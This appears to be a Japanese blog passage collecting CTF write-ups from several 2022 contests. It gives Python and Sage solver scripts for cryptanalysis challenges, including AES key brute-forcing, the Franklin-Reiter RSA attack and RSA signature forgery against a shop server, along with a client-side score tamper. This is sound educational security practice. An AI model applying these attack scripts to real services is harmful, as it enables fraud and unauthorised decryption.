[ + ] Welcome to the hash oracle!
[ + ] Enter anything you want to hash, and I'll hash it for you!

[ + ] 1. Hash
[ + ] 2. Get hidden flag
[ + ] 3. Exit
[ + ] Enter your option: 1
[ + ] Enter data to hash: #!
[ + ] Hashing...
[ + ] Hashed data: 6744

1バイト目のASCIIコードを1増やすと、hashの1バイト目は2増え、2バイト目は1増える。

$ nc chal.tuctf.com 30000
fda9da9708c1d7a2d4a038cbdfaa3acc059cd29dd09fcb95049d4ed69f6ba36e9c6a53d5
[ + ] Welcome to the hash oracle!
[ + ] Enter anything you want to hash, and I'll hash it for you!

[ + ] 1. Hash
[ + ] 2. Get hidden flag
[ + ] 3. Exit
[ + ] Enter your option: 1
[ + ] Enter data to hash: !"
[ + ] Hashing...
[ + ] Hashed data: 6443

$ nc chal.tuctf.com 30000
fda9da9708c1d7a2d4a038cbdfaa3acc059cd29dd09fcb95049d4ed69f6ba36e9c6a53d5
[ + ] Welcome to the hash oracle!
[ + ] Enter anything you want to hash, and I'll hash it for you!

[ + ] 1. Hash
[ + ] 2. Get hidden flag
[ + ] 3. Exit
[ + ] Enter your option: 1
[ + ] Enter data to hash: !#
[ + ] Hashing...
[ + ] Hashed data: 6544

$ nc chal.tuctf.com 30000
fda9da9708c1d7a2d4a038cbdfaa3acc059cd29dd09fcb95049d4ed69f6ba36e9c6a53d5
[ + ] Welcome to the hash oracle!
[ + ] Enter anything you want to hash, and I'll hash it for you!

[ + ] 1. Hash
[ + ] 2. Get hidden flag
[ + ] 3. Exit
[ + ] Enter your option: 1
[ + ] Enter data to hash: ab
[ + ] Hashing...
[ + ] Hashed data: 25c3

$ nc chal.tuctf.com 30000
fda9da9708c1d7a2d4a038cbdfaa3acc059cd29dd09fcb95049d4ed69f6ba36e9c6a53d5
[ + ] Welcome to the hash oracle!
[ + ] Enter anything you want to hash, and I'll hash it for you!

[ + ] 1. Hash
[ + ] 2. Get hidden flag
[ + ] 3. Exit
[ + ] Enter your option: 1
[ + ] Enter data to hash: zz
[ + ] Hashing...
[ + ] Hashed data: 6ff4

2バイト目のASCIIコードを1増やすと、hashの1バイト目は1増え、2バイト目は1増える。
以上から以下のことが言える。

・hashの1バイト目 = 1バイト目のASCIIコード * 2 + 2バイト目のASCIIコード
・hashの2バイト目 = 1バイト目のASCIIコード + 2バイト目のASCIIコード

255を超えた場合は255で割った余りになる。
このことから逆算し、フラグのハッシュからフラグを復号する。

#!/usr/bin/env python3

def rev_hash(s):
    code1 = int(s[:2], 16)
    code2 = int(s[2:], 16)
    char1 = code1 - code2
    if char1 < 0:
        char1 += 255
    char2 = code2 - char1
    return chr(char1) + chr(char2)

flag_hash = 'fda9da9708c1d7a2d4a038cbdfaa3acc059cd29dd09fcb95049d4ed69f6ba36e9c6a53d5'

flag = ''
for i in range(0, len(flag_hash), 4):
    flag += rev_hash(flag_hash[i:i+4])
print(flag)

復号結果は以下の通り。

TUCTF{5m4ll_5um_h45h1n6_f7w_475928}X

最後についている"X"を削除すれば、フラグになる。

TUCTF{5m4ll_5um_h45h1n6_f7w_475928}

Unmix The Flag (Cryptography)

問題文に以下の点字が書かれている。

⠱⠁ ⠹⠣ ⠱⠹ ⠱⠁ ⠹⠣ ⠹⠳ ⠱⠁ ⠹⠣ ⠹⠪ ⠱⠁ ⠹⠣ ⠱⠩ ⠹⠣ ⠱⠩ ⠹⠱ ⠻⠁ ⠫⠩ ⠫⠡ ⠻⠻ ⠹⠣ ⠱⠩ ⠹⠱ ⠻⠁ ⠻⠪ ⠻⠁ ⠻⠱ ⠫⠡ ⠻⠻ ⠫⠡ ⠫⠩ 

GS-8 Brailleとしてhttps://www.dcode.fr/gs8-braille-codeでデコードする。

5a42545a42485a42495a42534253457a6361774253457a797a7561776163

hexデコードする。

$ echo 5a42545a42485a42495a42534253457a6361774253457a797a7561776163 | xxd -r -p
ZBTZBHZBIZBSBSEzcawBSEzyzuawac

フラグにはおそらく"_"が含まれているので、numShiftをブルートフォースし、"CTF"が含まれているものを探す。あとは逆順で復号していけば、フラグがわかる。

#!/usr/bin/env python3
import string

upperFlag = string.ascii_uppercase[:26]
lowerFlag = string.ascii_lowercase[:26]
MIN_LETTER = ord("a")
MIN_CAPLETTER = ord("A")

def unmix(oneLetter, num):
    if(oneLetter.isupper()):
        word = ord(oneLetter) - MIN_CAPLETTER
        shift = ord(num) - MIN_CAPLETTER
        return upperFlag[(word - shift) % len(upperFlag)]
    if(oneLetter.islower()):
        word = ord(oneLetter) - MIN_LETTER
        shift = ord(num) - MIN_LETTER
        return lowerFlag[(word - shift) % len(lowerFlag)]

def unpuzzled(puzzle):
    data = ''
    i = 0
    while i < len(puzzle):
        if puzzle[i].isupper():
            if puzzle[i:i+3] == 'CTF':
                data += '_'
            else:
                b1 = '{0:05b}'.format(upperFlag.index(puzzle[i]))
                b2 = '{0:05b}'.format(upperFlag.index(puzzle[i+1]))
                b3 = '{0:05b}'.format(upperFlag.index(puzzle[i+2]))
                data += chr(int(b1 + b2 + b3, 2))
            i += 3
        if puzzle[i].islower():
            b1 = '{0:01x}'.format(lowerFlag.index(puzzle[i]))
            b2 = '{0:01x}'.format(lowerFlag.index(puzzle[i+1]))
            data += chr(int(b1 + b2, 16))
            i += 2
    return data

enc = 'ZBTZBHZBIZBSBSEzcawBSEzyzuawac'

for numShift in lowerFlag:
    unmixed = ''
    for count, alpha in enumerate(enc):
        unmixed += unmix(alpha, numShift)
    if 'CTF' in unmixed:
        break

flag = unpuzzled(unmixed)
print(flag)

復号結果は以下の通り。

THIS_is_easy
TUCTF{THIS_is_easy}

InfoSec CTF 2022 Writeup

この大会は2022/12/3 16:00(JST)~2022/12/4 16:00(JST)に開催されました。
今回もチームで参戦。結果は2219点で219チーム中6位でした。
自分で解けた問題をWriteupとして書いておきます。

Discord, anyone? (Hello)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグのサンプルが記載されている。

flag{d@_Flag_m@y_b3_wr1773n_1n_1337_o_have_random_nums14344555}

2048 (Hello)

https://infosec-2048.chals.io/js/scoreboard.jsを見ると、こう書いてある。

function send_score(score) {
	var url  = "/score.php?score=" + score;
	//alert("Over111 " + url);
	var xhr  = new XMLHttpRequest();
	xhr.open('GET', url, true);
	xhr.onload = function () {
    	var users = JSON.parse(xhr.responseText);
    	if (xhr.readyState == 4 && xhr.status == "200") {
    		console.log(users);
		alert(users.message);
    		//console.log(typeof users)
        	//console.table(users);
    	} else {
        	console.error(users);
    	}
	}
	xhr.send(null);
}

以下のパスでアクセスできるようだ。

/score.php?score=<score>

scoreに十分高い値を指定してアクセスしてみる。
https://infosec-2048.chals.io/score.php?score=10000000000000にアクセスしたら、以下のように表示された。

{"message":"That is impossible!!!!! flag{Y0R_D4_B35T_1N_GAM35}!"}
flag{Y0R_D4_B35T_1N_GAM35}

Roll (Hello)

Unicodeで最後の籯籵籪籰の部分がflag{になると推測する。

\xe7\xb1\xaf -> f
\xe7\xb1\xb5 -> l
\xe7\xb1\xaa -> a
\xe7\xb1\xb0 -> g
\xe7\xb2\x84 -> {

このコードから差分を計算し、復号する。

#!/usr/bin/env python3
with open('ct.txt', 'rb') as f:
    enc = f.read()

flag = ''
code = b''
for i in range(len(enc)):
    if enc[i] != ord(' '):
        code += bytes([enc[i]])
    else:
        flag += ' '
    if len(code) == 3:
        if code[:2] == b'\xe7\xb0':
            flag += chr(code[2] - 0x89)
        elif code[:2] == b'\xe7\xb1':
            flag += chr(code[2] - 0x49)
        else:
            flag += chr(code[2] - 0x9)
        code = b''
print(flag)

復号結果は以下の通り。

Yep! This is flag{Ju5T_a_R0T8OOO}
flag{Ju5T_a_R0T8OOO}

Characters (Hello)

$ file sc.exe 
sc.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

dnSpyでデコンパイルする。

using System;

namespace Task1
{
	// Token: 0x02000002 RID: 2
	internal class Program
	{
		// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
		private static void Main(string[] args)
		{
			string text = "The flag is flag{5+r1n9Se@rCh15c00l}";
			Console.WriteLine("Today's lucky number is " + text.Length.ToString());
		}
	}
}

コードにフラグが書かれていた。

flag{5+r1n9Se@rCh15c00l}

Power (Reverse)

$ file enc.exe 
enc.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

dnSpyでデコンパイルする。

using System;
using System.IO;
using System.Linq;
using System.Security.Cryptography;

namespace Task2
{
	// Token: 0x02000002 RID: 2
	internal class Program
	{
		// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
		private static void Main(string[] args)
		{
			try
			{
				Console.WriteLine("Input three numbers separated by a space");
				string text = Console.ReadLine();
				string[] source = text.Split(new char[]
				{
					' '
				});
				byte[] array = source.Take(3).ToArray<string>().Select(new Func<string, byte>(byte.Parse)).ToArray<byte>();
				byte[] array2 = new byte[Program.keyArr.Length + array.Length];
				Program.keyArr.CopyTo(array2, 0);
				array.CopyTo(array2, Program.keyArr.Length);
				Program.keyArr = array2;
			}
			catch (Exception)
			{
				return;
			}
			Program.EncryptAesManaged();
		}

		// Token: 0x06000002 RID: 2 RVA: 0x000020F4 File Offset: 0x000002F4
		private static void EncryptAesManaged()
		{
			try
			{
				string arg = Program.Decrypt(Program.encStr, Program.keyArr, Program.ivArr);
				Console.WriteLine("Decrypted data: {0}", arg);
			}
			catch (Exception)
			{
			}
			Console.ReadKey();
		}

		// Token: 0x06000003 RID: 3 RVA: 0x0000213C File Offset: 0x0000033C
		private static byte[] Encrypt(string plainText, byte[] Key, byte[] IV)
		{
			byte[] result;
			using (AesManaged aesManaged = new AesManaged())
			{
				ICryptoTransform transform = aesManaged.CreateEncryptor(Key, IV);
				using (MemoryStream memoryStream = new MemoryStream())
				{
					using (CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Write))
					{
						using (StreamWriter streamWriter = new StreamWriter(cryptoStream))
						{
							streamWriter.Write(plainText);
						}
						result = memoryStream.ToArray();
					}
				}
			}
			return result;
		}

		// Token: 0x06000004 RID: 4 RVA: 0x000021EC File Offset: 0x000003EC
		private static string Decrypt(byte[] cipherText, byte[] Key, byte[] IV)
		{
			string result = null;
			using (AesManaged aesManaged = new AesManaged())
			{
				ICryptoTransform transform = aesManaged.CreateDecryptor(Key, IV);
				using (MemoryStream memoryStream = new MemoryStream(cipherText))
				{
					using (CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read))
					{
						using (StreamReader streamReader = new StreamReader(cryptoStream))
						{
							result = streamReader.ReadToEnd();
						}
					}
				}
			}
			return result;
		}

		// Token: 0x04000001 RID: 1
		private static byte[] keyArr = new byte[]
		{
			229,
			175,
			85,
			160,
			180,
			115,
			120,
			154,
			30,
			78,
			53,
			103,
			155,
			80,
			62,
			90,
			137,
			116,
			133,
			87,
			187,
			204,
			178,
			86,
			210,
			94,
			26,
			68,
			107
		};

		// Token: 0x04000002 RID: 2
		private static byte[] ivArr = new byte[]
		{
			115,
			98,
			131,
			99,
			47,
			40,
			47,
			87,
			179,
			158,
			216,
			48,
			24,
			250,
			120,
			32
		};

		// Token: 0x04000003 RID: 3
		private static byte[] encStr = new byte[]
		{
			40,
			253,
			133,
			252,
			45,
			133,
			51,
			156,
			73,
			98,
			35,
			79,
			215,
			220,
			180,
			60,
			213,
			144,
			6,
			153,
			177,
			179,
			75,
			173,
			220,
			25,
			96,
			224,
			154,
			211,
			36,
			192,
			25,
			118,
			236,
			181,
			196,
			167,
			92,
			144,
			114,
			88,
			4,
			97,
			98,
			70,
			142,
			107
		};
	}
}

既知の鍵の長さは29で、鍵の末尾の3バイトは不明。ブルートフォースでAES-CBCの復号をし、フラグを求める。

#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import itertools

key = [229, 175, 85, 160, 180, 115, 120, 154, 30, 78, 53, 103, 155, 80, 62, 90,
    137, 116, 133, 87, 187, 204, 178, 86, 210, 94, 26, 68, 107]
iv = [115, 98, 131, 99, 47, 40, 47, 87, 179, 158, 216, 48, 24, 250, 120, 32]
ct = [40, 253, 133, 252, 45, 133, 51, 156, 73, 98, 35, 79, 215, 220, 180, 60,
    213, 144, 6, 153, 177, 179, 75, 173, 220, 25, 96, 224, 154, 211, 36, 192,
    25, 118, 236, 181, 196, 167, 92, 144, 114, 88, 4, 97, 98, 70, 142, 107]

key_base = b''.join([bytes([c]) for c in key])
iv = b''.join([bytes([c]) for c in iv])
ct = b''.join([bytes([c]) for c in ct])

for i in itertools.product(range(256), repeat=3):
    key = key_base + bytes(list(i))
    aes = AES.new(key, AES.MODE_CBC, iv)
    flag = aes.decrypt(ct)
    if b'flag{' in flag:
        flag = unpad(flag, 16).decode()
        print(flag)
        break

復号結果は以下の通り。

This is flag flag{EnCryp+10n1257}
flag{EnCryp+10n1257}

factorization_O(1) (Crypto)

factordbでnを素因数分解する。

n = p * q
p = 28202319379067501490208047967640223972527628887419121174312069871940762446191037116439778835467062167539975479560808963430713316728657821318091974782177587502977103133562514623190596522401979853897604155978389706065529684964456763671042793097939248363898812226603785142150229952531892483051629343135565017009158169764295572681006147649784770674916373016362742532035032732868305514205472359902274368791400942198050857316423038645187897952552037443809257021152791177709722355552601158212401832663511665683464894274793964666346178953264175424315896294371414865822376705827230948258710334712677553560281415434518989952471
q = 28333216511870237421589680024071479872631128138375694843111245571640079138257082118876936956971626411452714765213235443289844152774726549033287121226853278300931463492944993855419809383702713698075445228165386842813887219933628001930562735500058366809127085676796448036043203541946679120144936025581244148455814036684278066340551598448554713707153731347377919923587961088259591283082595708873570902595973478098800267688164730212308010448744922341861881129811220876277126950484628192066291808850039047023547793278380316222945284141918720028654120002784669476398893169403625089712271909636614227133160810905936848329339

素因数分解できたので、あとは通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('task.txt', 'r') as f:
    params = f.read().splitlines()

e = int(params[0].split(' ')[-1], 16)
n = int(params[1].split(' ')[-1], 16)
ct = int(params[2].split(' ')[-1], 16)

p = 28202319379067501490208047967640223972527628887419121174312069871940762446191037116439778835467062167539975479560808963430713316728657821318091974782177587502977103133562514623190596522401979853897604155978389706065529684964456763671042793097939248363898812226603785142150229952531892483051629343135565017009158169764295572681006147649784770674916373016362742532035032732868305514205472359902274368791400942198050857316423038645187897952552037443809257021152791177709722355552601158212401832663511665683464894274793964666346178953264175424315896294371414865822376705827230948258710334712677553560281415434518989952471
q = 28333216511870237421589680024071479872631128138375694843111245571640079138257082118876936956971626411452714765213235443289844152774726549033287121226853278300931463492944993855419809383702713698075445228165386842813887219933628001930562735500058366809127085676796448036043203541946679120144936025581244148455814036684278066340551598448554713707153731347377919923587961088259591283082595708873570902595973478098800267688164730212308010448744922341861881129811220876277126950484628192066291808850039047023547793278380316222945284141918720028654120002784669476398893169403625089712271909636614227133160810905936848329339
assert n == p * q

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(ct, d, n)
flag = long_to_bytes(m).decode()
print(flag)
flag{f4c70rdb_c4n_h3lp_y0u_50lv3_r54_cryp705y573m_745k5}

Vernam (Crypto)

keyはflagと同じ長さ。暗号の1行目はflagとkeyの分だけシフトしたもの。暗号の2行目はflagを右に6シフトしたものとkeyの分だけシフトしたもの。
フラグは"flag{"から始まり、"}"で終わることからkeyの6バイトは割り出せる。さらにflagを右に6シフトしたものからkeyの別の6バイトを割り出せる。割り出したkeyから次のフラグの6バイトを割り出せる。これを繰り返せば、フラグを割り出せる。

#!/usr/bin/env python3

with open('task.txt', 'r') as f:
    encs = f.read().splitlines()

c0 = bytes.fromhex(encs[0])
c1 = bytes.fromhex(encs[1])

flag = list(b'flag{******************************************************}')
assert len(flag) == len(c0)
key = [0] * len(c0)

for i in range(len(c0) // 6 - 1):
    for j in range(6):
        key[j - i * 6 - 1] = (c0[j - i * 6 - 1] - flag[j - i * 6 - 1]) % 256
        flag[j -i * 6 - 7] = (c1[j - i * 6 - 1] - key[j - i * 6 - 1]) % 256

flag = ''.join([chr(c) for c in flag])
print(flag)
flag{u53_0f_53cr37_k3y_f0r_ww3rn4m_c1ph3r_7w1c3_15_un53cur3}

Never gets old (Crypto)

サーバの処理概要は以下の通り。

・e = 3
・n: 既知固定値
・flag: フラグの数値化したもの
・以下繰り返し
 ・cur_time: UNIXTIMEスタンプ
 ・m = flag + cur_time
 ・enc_flag = pow(m, e, n)
 ・enc_flag表示
 ・5秒スリープ

最初の2つのメッセージの差は5とわかっているので、UNIXTIMEスタンプの値がプラスされていることを踏まえ、Franklin-Reiter Related Message Attackで復号する。

#!/usr/bin/env sage
import socket
import arrow
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def related_message_attack(c1, c2, diff, e, n):
    PRx.<x> = PolynomialRing(Zmod(n))
    g1 = x^e - c1
    g2 = (x+diff)^e - c2

    def gcd(g1, g2):
        while g2:
            g1, g2 = g2, g1 % g2
        return g1.monic()

    return -gcd(g1, g2)[0]

e = 3
n = 56751557236771291682484925205552213395017286856788424728477520869245312923063269575813709372701501266411744107612661617541524170940980758483006610928802060405295040733651568454102696982761234303408607315598889877531472782169525357044937048595117628739355131854220684649309005299064732402206958720387916062449

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('0.cloud.chals.io', 33644))

cur_time = int(arrow.utcnow().timestamp())
diff = 5

data = recvuntil(s, b'\n').rstrip()
print(data)
c1 = int(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
c2 = int(data)

m = int(related_message_attack(c1, c2, diff, e, n)) - cur_time
flag = long_to_bytes(m).decode()
print(flag)

実行結果は以下の通り。

21054947296945995969188084273175305225334151857723476430540329863698100770359064848331953424161541910154106963594897630059176641956261830307496784230415312468289781039574212563635055810037457682836432822086417
21054947296945995969188084273175305225334151857723476430540329863698215144373519321856619961511537512471055359686360218045850972349978373506547041374157860067287279945158090263184038065455692391435833338524952
flag{r5a_7a5k5_n3v3r_g37_0ld}
flag{r5a_7a5k5_n3v3r_g37_0ld}

Love and Matrices (Crypto)

フラグの各ビットが立っていた場合に行列 y = x * z (zの行列式は1で固定) を計算している。上位2ビット目は立っていることからzは算出でき、各ビットのx, yはわかっているので、zが一致する場合に0としてフラグを復号する。

#!/usr/bin/env sage
import numpy

enc = numpy.load('enc.npy', allow_pickle=True)

x = enc[1][0]
y = enc[1][1]
z = x.inverse() * y

bin_flag = ''
for c in enc:
    x = c[0]
    y = c[1]
    if z == x.inverse() * y:
        bin_flag += '1'
    else:
        bin_flag += '0'

flag = ''.join([chr(int(bin_flag[i:i+8], 2)) for i in range(0, len(bin_flag), 8)])
print(flag)
flag{M4tr1ce5_4re_8E4UT1fUl}

HITCON CTF 2022 Writeup

この大会は2022/11/25 23:00(JST)~2022/11/27 23:00(JST)に開催されました。
今回もチームで参戦。結果は251点で430チーム中129位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (Misc)

Twitterで#HITCONCTF2022のハッシュタグを含むツイートをした後、Dosicordの#welcomeチャネルで、緑色のボタンを押し、ツイートのURLを指定したら、フラグが表示された。

hitcon{we filled twitter with more spam tweets}

BabySSS (Crypto)

暗号化処理の概要は以下の通り。

・DEGREE = 128
・SHARES_FOR_YOU = 8
・poly: 129個の64ビットランダム整数の配列
・shares = []
・8回、以下繰り返し
 ・x: 16ビットランダム整数
 ・y: poly[0] + poly[1] * x + ... + poly[128] * x**128
 ・sharesにx, yを追加
・shares出力
・secret = poly[0] + poly[1] * 0x48763 + ... + poly[128] * 0x48763**128
・key = sha256(str(secret).encode()).digest()[:16]
・フラグをAES-CTRモードで暗号化し、出力
・暗号化に使ったnonceを出力

8回の各値について、以下のようになる。

(poly[0] + poly[1] * x + ... + poly[128] * x**128) % x = poly[0] % x

この情報からCRTでpoly[0]を求める。
次に各値からpoly[0]を引き、xで割った値を考える。

(poly[1] + ... + poly[128] * x**127) % x = poly[1] % x

先ほどと同様にしてpoly[1]を求める。これを繰り返すことによって、poly全体の値を求める。この値からAES暗号の鍵が生成できるので、復号すればよい。

#!/usr/bin/env python3
from sympy.ntheory.modular import crt
from Crypto.Cipher import AES
from hashlib import sha256

def polyeval(poly, x):
    return sum([a * x**i for i, a in enumerate(poly)])

DEGREE = 128
SHARES_FOR_YOU = 8

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

shares = eval(params[0])
enc_flag = eval(params[1])
nonce = eval(params[2])

poly = []
for i in range(DEGREE + 1):
    ps = []
    ms = []
    for j in range(SHARES_FOR_YOU):
        x = shares[j][0]
        y = shares[j][1]
        ps.append(x)
        for k in range(i):
            y -= poly[k] * x ** k
        ms.append((y // (x ** i)) % x)
    m, _ = crt(ps, ms)
    poly.append(m)

secret = polyeval(poly, 0x48763)
key = sha256(str(secret).encode()).digest()[:16]
cipher = AES.new(key, AES.MODE_CTR, nonce=nonce)
flag = cipher.decrypt(enc_flag).decode()
print(flag)
hitcon{doing_SSS_in_integers_is_not_good_:(}

GlacierCTF 2022 Writeup

この大会は2022/11/26 3:00(JST)~2022/11/27 3:00(JST)に開催されました。
今回もチームで参戦。結果は50点で293チーム中228位でした。
自分で解けた問題をWriteupとして書いておきます。

CryptoShop (Crypto)

サーバの処理概要は以下の通り。

・key = RSA.generate(1024)
・user: 入力
・user_shop_state = ShopState(user, priv_key=key)
 ・user_shop_state.name = user
 ・user_shop_state.balance = 5
 ・user_shop_state.priv_key=key
・nを表示
・以下繰り返し
 ・action: メニュー選択
 ・actionが1の場合
  ・SHOP_ITEMのリストを表示
 ・actionが2の場合
  ・ret_val = buy_menu(user_shop_state)
   ・SHOP_ITEMのリストを表示
   ・item_name: 入力(SHOP_ITEMのリストから選択)
   ・shop_transaction = user_shop_state.buy(item_name)
    ・price = SHOP_ITEMS[name]
    ・user_shop_state.balance -= price
    ・nameが"CTF-Flag"の場合、フラグを表示
 ・actionが3の場合
  ・refund_menu(user_shop_state)
   ・refund_code: 数値入力
   ・refund_amount: 数値入力
   ・ret_val = shop_state.refund_item(refund_amount, refund_code)
    ・reference_code = pow(refund_amount, priv_key.d, priv_key.n)
    ・refund_codeとreference_codeが一致していなかったら、エラー
   ・self.balance += refund_amount

refund_codeを適当に決めれば、refund_amountは計算できる。balanceをいくつ増やせるかわからないが、"3. Refund Item"でお金を増やしてから"CTF-Flag"を購入すればよい。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('pwn.glacierctf.com', 13370))

name = 'hoge'
data = recvuntil(s, b'Name: ')
print(data + name)
s.sendall(name.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
n = int(data.split(' ')[-1])
e = 65537

refund_code = 123
refund_amount = pow(refund_code, e, n)

data = recvuntil(s, b'> ')
print(data + '3')
s.sendall(b'3\n')
data = recvuntil(s, b'> ')
print(data + str(refund_code))
s.sendall(str(refund_code).encode() + b'\n')
data = recvuntil(s, b'> ')
print(data + str(refund_amount))
s.sendall(str(refund_amount).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

name = 'CTF-Flag'
data = recvuntil(s, b'> ')
print(data + '2')
s.sendall(b'2\n')
data = recvuntil(s, b'> ')
print(data + name)
s.sendall(name.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

Welcome to the PWN-Store. Please authenticate:
Your Name: hoge
Welcome back hoge!
Customernumber: 7119721955343994183071926664728781069068259341041962068678026711320632265515328667825548834086402718937206499370165240435106462931401311426817541407394864931964914449993155272219102668079956928713964345093493990223803472192032745331126530815885131855451784184488615697798547817851039593573136752861093826898410784306797981998338207012141328656314133530507195522013331834575215399377349318775598158104520534533323355277030405297034933722514046393086894084789991753796092241591544779576734104012720135162455447401549676796159824422836857182136259358314574596700050458496328999928487581277472975819180410658160779145329271

Accountname: hoge (Balance: 5€)
1. List Items
2. Buy Item
3. Refund Item
4. Exit

> 3
What do you want to refund?
Please provide the refundcode
> 123
Please provide the price
> 2352813905034380768739326772644101336213320691336953895260595710490803047368364690810476725973946740537713893457921344990539821538266773148636467368537535684808228026390702608533660688949344950546652277870802796095301569468119294744479769451101548049119315431746736743587823714475418372912332080712226230694386860795778002435508057291454297876524341486838382148622641835964117225361468881383743005049132917527997338008399214700083224579493541253520390600052347889934774983798319310654016210253931720049134778274053188765666593027187877238291246827829413350668928520165852974362964062036713893826193875481430795607845158
Successfully refunded

Accountname: hoge (Balance: 2352813905034380768739326772644101336213320691336953895260595710490803047368364690810476725973946740537713893457921344990539821538266773148636467368537535684808228026390702608533660688949344950546652277870802796095301569468119294744479769451101548049119315431746736743587823714475418372912332080712226230694386860795778002435508057291454297876524341486838382148622641835964117225361468881383743005049132917527997338008399214700083224579493541253520390600052347889934774983798319310654016210253931720049134778274053188765666593027187877238291246827829413350668928520165852974362964062036713893826193875481430795607845163€)
1. List Items
2. Buy Item
3. Refund Item
4. Exit

> 2
What item do you want to bye?
0. USB Rubber Ducky
1. Malduino
2. WIFI Deauther
3. Bluetooth Jammer
4. GSM Jammer
5. Bad USB
6. CTF-Flag

> CTF-Flag
Take this: glacierctf{RsA_S1gnAtuRe_1ssu3}
glacierctf{RsA_S1gnAtuRe_1ssu3}

NO ESCAPE CTF 2022 Writeup

この大会は2022/11/25 13:30(JST)~2022/11/26 13:30(JST)に開催されました。
今回は個人で参戦。結果は330点で137チーム中72位でした。
解けた問題をWriteupとして書いておきます。

Santa's key (Misc)

Pythonコードの構文としては誤っているが、XORの暗号と、鍵がわかっているので、それを使って復号する。

#!/usr/bin/env python3
flag_enc = [0x1d, 0x24, 0x2d, 0x20, 0x27, 0x28, 0x32, 0x2e, 0x1a,
    0x35, 0x32, 0x46, 0x1d, 0x2b, 0xa, 0x60, 0x18, 0x31, 0x1c,
    0x52, 0x21, 0x52, 0x13]

key = b'Santa'
flag = ''
for i in range(len(flag_enc)):
    flag += chr(flag_enc[i] ^ key[i%len(key)])
print(flag)
NECTF{S@nTa's_k3y_h3r3}

Bad Cake (Misc)

$ file badcake.dat 
badcake.dat: PNG image data, 245 x 245, 8-bit grayscale, non-interlaced
$ mv badcake.dat badcake.png


画像にはQRコードが書かれているので、読み取る。

NGUgNDUgNDMgNTQgNDYgN2IgNTQgNDggMzEgMjQgNWYgMzEgMjQgNWYgNTkgMzAgNTUgNTIgNWYgNDcgNGYgMzAgNDQgNWYgNDMgNDAgNGIgMzMgN2Q=

base64文字列のようなので、デコードする。

$ echo NGUgNDUgNDMgNTQgNDYgN2IgNTQgNDggMzEgMjQgNWYgMzEgMjQgNWYgNTkgMzAgNTUgNTIgNWYgNDcgNGYgMzAgNDQgNWYgNDMgNDAgNGIgMzMgN2Q= | base64 -d
4e 45 43 54 46 7b 54 48 31 24 5f 31 24 5f 59 30 55 52 5f 47 4f 30 44 5f 43 40 4b 33 7d
$ echo NGUgNDUgNDMgNTQgNDYgN2IgNTQgNDggMzEgMjQgNWYgMzEgMjQgNWYgNTkgMzAgNTUgNTIgNWYgNDcgNGYgMzAgNDQgNWYgNDMgNDAgNGIgMzMgN2Q= | base64 -d | xxd -r -p
NECTF{TH1$_1$_Y0UR_GO0D_C@K3}
NECTF{TH1$_1$_Y0UR_GO0D_C@K3}

Welcome to NECTF (Misc)

ブラウザのデベロッパーツールで、この問題文のHTMLソースを見ると、コメントがあり、以下のように書いてある。

<!--  NECTF{w3LC0M3_t0_N3CTF} -->
NECTF{w3LC0M3_t0_N3CTF}

The Real Santa (pwn)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  long in_FS_OFFSET;
  undefined local_e8;
  undefined local_e7;
  undefined local_e6;
  undefined local_e5;
  undefined local_e4;
  undefined local_e3;
  undefined local_e2;
  undefined local_e1;
  undefined local_e0;
  undefined local_df;
  undefined local_de;
  undefined local_dd;
  undefined local_dc;
  char local_78;
  char local_77;
  char local_76;
  char local_75;
  char local_74;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_e8 = 0x4e;
  local_e7 = 0x45;
  local_e6 = 0x43;
  local_e5 = 0x54;
  local_e4 = 0x46;
  local_e3 = 0x7b;
  local_e2 = 0x45;
  local_e1 = 0x55;
  local_e0 = 0x52;
  local_df = 0x33;
  local_de = 0x4b;
  local_dd = 0x41;
  local_dc = 0x7d;
  printf("Enter your secret santa name: ");
  __isoc99_scanf(&DAT_00102027,&local_78);
  if ((((local_78 == '@') && (local_77 == 't')) && (local_76 == 'n')) &&
     ((local_75 == '!' && (local_74 == 's')))) {
    printf("You are the real santa! Here is your flag: %s",&local_e8);
  }
  else {
    printf("You are not the real santa!");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

入力文字列に"@tn!s"と指定すればよい。

$ ./realSanta 
Enter your secret santa name: @tn!s
You are the real santa! Here is your flag: NECTF{EUR3KA}
NECTF{EUR3KA}

Laugh and Sing (Web)

レスポンスヘッダのx-hashにbase64文字列らしきものがセットされる。

TkVDVEZ7TWFraU5nX3NwMXJpdHNfYlJpZ2h0fQo=

base64デコードする。

$ echo TkVDVEZ7TWFraU5nX3NwMXJpdHNfYlJpZ2h0fQo= | base64 -d
NECTF{MakiNg_sp1rits_bRight}
NECTF{MakiNg_sp1rits_bRight}

Unlock your Santa's gift (Web)

HTMLソースを見ると、スクリプトにこう書いてある。

    <script>
